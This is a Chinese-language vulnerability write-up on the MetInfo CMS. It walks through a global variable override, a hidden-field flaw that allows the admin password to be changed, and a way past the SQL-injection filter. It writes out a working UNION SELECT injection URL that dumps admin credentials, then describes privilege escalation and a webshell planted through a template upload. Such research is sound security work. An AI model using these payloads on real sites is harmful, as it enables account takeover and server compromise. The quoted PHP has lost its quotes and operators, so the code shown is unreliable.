前言
对于相对成熟的cms,sqlinject,xss都有完善的自身防御代码。然而一些逻辑错误以及意识上的误区可能会让系统防御如同虚设,本文就是一个通过全局变量覆盖突破防注入以及其他逻辑失误导致MetInfo企业网站管理系统多处安全缺陷的案例。
前台逻辑缺陷秒改管理员密码
MetInfo是国内使用非常广泛的企业管理系统,采用PHP+Mysql架构。速度下鸟安装
又是管理员和前台会员在一个表的,这下方便多了,注册普通会员,查看源码。
有个hidden的字段,目测有鬼,继续跟踪到save.php
if($action==editor){ $query=update$met_admin_tableSET admin_id … =$useid, =……, if($pass1){ $pass1=md5($pass1); $query.=,admin_pass } =$pass1; $query.=whereadmin_id=$useid; $db-query($query); okinfo(basic.php?lang=.$lang,$lang_js21); }
看红色的代码
$useid则是刚才(后面会讲到)hidden的字段,不是有句话叫做一切用户输入都是有害的,怎么能用这个更新资料的条件了,也就是说只要知道管理员的名称就可以改管理员的密码。那怎么知道管理员的名称了。
我们继续往下看…
全局变量覆盖include\common.inc.php是整个系统的核心文件,用户处理数据,连接数据库..
一段狠经典的代码,导致国际问题全局变量覆盖。
foreach(array(_COOKIE,_POST,_GET)as$_request){ foreach($$_requestas$_key=$_value){ $_key{0}!=_;$$_key=daddslashes($_value); } }
接下来,找能利用的地方,最好是能直接getShell什么的。
找了很久都发现数据库操作传进去的变量都单引号注释鸟,后台才发现我sb了。
?php #MetInfoEnterpriseContentManagementSystem #Copyright(C)MetInfoCo.,Ltd(网址).Allrightsreserved. require_once../include/common.inc.php; if($class1)$id=$class1; $job=$db-get_one(select*from$met_jobwhereid=$id); if(!$job){ okinfo(
$id单引号鸟,那就直接覆盖$met_job,不就可以了吗!!
http://127.0.0.1/coder/minfo/job/showjob.php?id=1&met_job=%60information_schema%60.%60SCHEMATA%60%
访问正常,说明有搞头,开屎疯狂的注入…union联合查询,却又弹出这个东东。
额蛋疼的防注入....
防注入都是浮云
我们来看防注入代码
global$met_sqlreplace; if($met_sqlreplace){ $string=str_replace(select,\sel\ect,$string); $string=str_replace(insert,\ins\ert,$string); $string=str_replace(update,\up\date,$string); $string=str_replace(delete,\de\lete,$string); $string=str_replace(union,\un\ion,$string); $string=str_replace(into,\in\to,$string); $string=str_replace(load_file,\load\_\file,$string); $string=str_replace(outfile,\out\file,$string); }else{ if(inject_check($string)){ $reurl=http://.$_SERVER[HTTP_HOST]; echo(scripttype=text/javascriptalert(PleaseStopSQLInjecting!);location.href=$reurl; /script); die(PleaseStopSQLInjecting!); } }
跟进inject_check函数,
functioninject_check($sql_str){ if(strtoupper($sql_str)==UPDATETIME){ returneregi(select|insert|delete|\|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile,$sql_str); }else{ returneregi(select|insert|update|delete|\|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile,$sql_str); } }
貌似小涛童鞋还在发过突破这个函数的讨论帖…
正则写的很全面,突破就有些难鸟,不过我们有前面的全局变量覆盖,inject_check神马的都是浮云啊,浮云...,回来看前面的代码当$met_sqlreplace为true是就不执行sql语句检查,那我们就来覆盖$met_sqlreplace,直接上。
网址
whereid=2and1=2UNIONSELECT1,(SELECTadmin_idFROM`met_admin_table`whereid=1),3,(SELECTadmin_passFROM`met_admin_table`whereid=1),5,6,7,8,0,10,11,12,13,14,15
met_sqlreplace=1%23
访问以上链接,直接爆出用户名,密码。密码的懒得破了,有了管理员账号,,秒改。
后台简单拿shell
找到模板打包上传,里面直接木马文件
后台提权突破拿shell屁颠屁颠的跑去官网测试,确发现悲剧…
权限限制鸟,我压力很大…
提交到的文件为save.php看关键代码
if($editorpass!=1){ $query.=,langok $query.=,admin_type $query.=,admin_issueok $query.=,admin_op } =$langok; =$admin_type; =$admin_issueok; =$admin_op;
把editorpass置为0,增加admin_type,成功提权。
模板上传拿到shell
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。